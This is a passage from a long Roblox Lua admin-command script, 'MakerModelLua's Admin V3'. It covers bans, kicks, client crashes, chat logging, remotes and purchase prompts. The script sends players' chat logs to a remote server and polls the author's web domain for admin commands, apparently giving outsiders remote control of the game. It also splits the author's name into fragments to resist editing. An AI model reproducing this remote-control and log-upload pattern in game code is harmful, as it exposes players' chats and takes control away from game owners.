8902 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8903 table.insert(Settings.Ranks["Admin"], Player.Name)
8904 end
8905 end
8906 end
8907 if PlayerAdmin == false then
8908 for _,GID in pairs(Settings.BannedGroupIDs) do
8909 if Player:IsInGroup(GID) then
8910 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8911 break
8912 end
8913 end
8914 end
8915
8916 Player.Chatted:connect(function(Message) if Message ~= "" then
8917 CORE:Chatted(Message, Player)
8918 end end)
8919
8920 Player.Chatted:connect(function(Message) if Message ~= "" then
8921 CORE:Log(ChatLogs, Player, Message)
8922 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8923 end end)
8924
8925 for _,Name in pairs(Settings.Ranks.Banned) do
8926 if Player.Name == Name then
8927 CORE:Kick(Player)
8928 for _,Person in pairs(Server.Players:GetPlayers()) do
8929 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8930 end
8931 end
8932 end
8933 for _,Name in pairs(Settings.Ranks.Crashed) do
8934 if Player.Name == Name then
8935 CORE:Crash(Player)
8936 for _,Person in pairs(Server.Players:GetPlayers()) do
8937 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8938 end
8939 end
8940 end
8941 for _,Name in pairs(Settings.Ranks.Muted) do
8942 if Player.Name == Name then
8943 GUI:CoreGui(Player, "Chat", false)
8944 for _,Person in pairs(Server.Players:GetPlayers()) do
8945 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8946 end
8947 end
8948 end
8949 if Settings.ServerLocked == true then
8950 if PlayerAdmin == false then
8951 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8952 end
8953 end
8954
8955 if PlayerAdmin == false then
8956 if Player.AccountAge < Settings.MinimumAge then
8957 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8958 for _,Person in pairs(Server.Players:GetPlayers()) do
8959 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8960 end
8961 end
8962 end
8963
8964 if PlayerAdmin == false then
8965 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8966 table.insert(Settings.Ranks["Member"], Player.Name)
8967 PlayerAdmin = true
8968 Rank = "Member"
8969 end
8970 end
8971
8972 coroutine.wrap(function()
8973 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8974 local function SpawnActions(Character)
8975 if Flings[Player.Name] then
8976 CORE:FlingPlayer(Player)
8977 else
8978 GUI:CreateTaskBar(Player)
8979 end
8980 if Beeps[Player.Name] == true then
8981 SOUND:BeepPlayer(Player)
8982 end
8983 if Jails[Player.Name] then
8984 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8985 end
8986 if PermCommandBars[Player.Name] then
8987 GUI:CommandBar(Player)
8988 end
8989 end
8990 Player.CharacterAdded:connect(SpawnActions)
8991 SpawnActions(Player.Character)
8992 end)()
8993
8994 coroutine.wrap(function()
8995 Player:WaitForChild("PlayerGui")
8996 local Sounds = {}
8997 for _,Data in pairs(TextConverter.LetterSounds) do
8998 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8999 Sound:Play()
9000 table.insert(Sounds, Sound)
9001 end
9002 for _,Data in pairs(TextConverter.LongVowels) do
9003 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
9004 Sound:Play()
9005 table.insert(Sounds, Sound)
9006 end
9007 wait(5)
9008 for _,Sound in pairs(Sounds) do
9009 Sound:Destroy()
9010 end
9011 Sounds = {}
9012 end)()
9013
9014 coroutine.wrap(function()
9015 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9016 if IsSB then
9017 wait(1)
9018 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9019 end
9020 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9021 print("Executed ClientLog on "..Player.Name)
9022 if Settings.EnableTaskBar then
9023 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9024 end
9025 end)()
9026
9027 coroutine.wrap(function()
9028 wait(7)
9029 Player:WaitForChild("PlayerGui")
9030 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9031 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9032 if Answer == "Ok" then
9033 MARKET:PromptPurchase(Player, AdminID)
9034 end
9035 end
9036 end)()
9037 end
9038end)() end
9039
9040-- Active stuff --
9041
9042CORE:UpdateAdmin()
9043CORE:FixSettings()
9044
9045ypcall(function()
9046 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9047 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9048 end
9049end)
9050
9051
9052Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9053 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9054 if PlayerAdmin == false then
9055 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9056 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9057 end
9058end end)
9059
9060--[[
9061ExecuteCommand.OnInvoke = function(Player, Command)
9062 if Player and Command then
9063 if type(Player) == "userdata" and Player:IsA("Player") then
9064 CORE:Chatted(Command, Player, true)
9065 end
9066 end
9067end
9068
9069ExecuteCode.OnInvoke = function(Source, Speaker)
9070 if type(Source) == "string" then
9071 ExecuteSafe(Source, Speaker)
9072 end
9073end
9074
9075ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9076 if Player and Command then
9077 if type(Player) == "userdata" and Player:IsA("Player") then
9078 CORE:Chatted(Command, Player, true)
9079 end
9080 end
9081end
9082]]
9083
9084KeyPressed.OnServerInvoke = function(Player, Key)
9085 if Player and Key then
9086 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9087 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9088 end
9089 end
9090end
9091
9092InputKey.OnServerInvoke = function(Player, KeyVal)
9093 if Player and KeyVal then
9094 if LastKeys[Player.UserId] then
9095 table.insert(LastKeys[Player.UserId], KeyVal)
9096 if #LastKeys[Player.UserId] > 20 then
9097 table.remove(LastKeys[Player.UserId], 1)
9098 end
9099 end
9100 end
9101end
9102
9103RankPlayerLocal.OnServerInvoke = function(Player)
9104 wait()
9105 local Request = PendingRequests[Player]
9106 if Request then
9107 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9108 if Settings.Ranks[Request[1]] then
9109 PendingRequests[Player] = nil
9110 table.insert(Settings.Ranks[Request[1]], Player.Name)
9111 GUI:TellAdmin(Player)
9112 end
9113 end
9114 end
9115end
9116
9117RankPlayerServer.OnInvoke = function(Player, Rank)
9118 if not RANK:IsAdmin(Player) then
9119 PendingRequests[Player] = {Rank, tick()}
9120 end
9121end
9122
9123IsAdmin.OnServerInvoke = function(Player)
9124 local IsFullAdmin = false
9125 for _,PName in pairs(Settings.Ranks["Owner"]) do
9126 if PName == Player.Name then IsFullAdmin = true end
9127 end
9128 for _,PName in pairs(Settings.Ranks["Admin"]) do
9129 if PName == Player.Name then IsFullAdmin = true end
9130 end
9131 return IsFullAdmin
9132end
9133
9134AddExploit.OnServerInvoke = CORE.AddExploit
9135AddExploitServer.OnInvoke = CORE.AddExploit
9136
9137KickClient.OnServerInvoke = function(PlayerClient)
9138 PlayerClient:Kick()
9139end
9140
9141ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9142 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9143end
9144
9145for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9146Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9147Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9148
9149coroutine.wrap(function()
9150 for _,ID in pairs(Icons) do
9151 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9152 end
9153end)()
9154
9155CORE:SetAbuseCommands()
9156
9157coroutine.wrap(function() SOUND:SyncSoundList() end)()
9158if not IsStudio then coroutine.wrap(function()
9159 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9160 REMOTE:GetRemoteData(true)
9161 REMOTE:CheckTrelloInfo()
9162 coroutine.wrap(function()
9163 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9164 REMOTE.RemoteConnection = true
9165 end
9166 end)()
9167 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9168 coroutine.wrap(function()
9169 if Settings.LinkedAccount ~= "" then
9170 local Request = nil
9171 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9172 if Request then
9173 REMOTE:HandleRequest(Request, true)
9174 end
9175 end
9176 end)()
9177 coroutine.wrap(function()
9178 wait(RemoteData.RemoteAdminWait)
9179 while REMOTE:GetAndSetWebData() do
9180 wait(RemoteData.RemoteAdminWait)
9181 end
9182 end)()
9183 coroutine.wrap(function()
9184 while wait(60) do
9185 REMOTE:GetRemoteData(true)
9186 REMOTE:CheckTrelloInfo()
9187 end
9188 end)()
9189end)() end
9190coroutine.wrap(function()
9191 if Settings.TrelloToken ~= "" then
9192 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9193 if #Trello.RequiredLists > 0 then
9194 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9195 if Trello.MainBoard.name then
9196 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9197 REMOTE:TrelloCacheData(Lists)
9198 REMOTE:TrelloHandleData(true)
9199 coroutine.wrap(function()
9200 wait(RemoteData.TrelloWait)
9201 while REMOTE:TrelloHandleData() do
9202 wait(RemoteData.TrelloWait)
9203 end
9204 end)()
9205 end
9206 end
9207 else
9208 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9209 end
9210end)()
9211coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9212 REMOTE:SendChatLog()
9213end end)()
9214coroutine.wrap(function() while true do
9215 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9216 if ThisDate then Date = ThisDate end
9217 wait(600)
9218end end)()
9219
9220print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")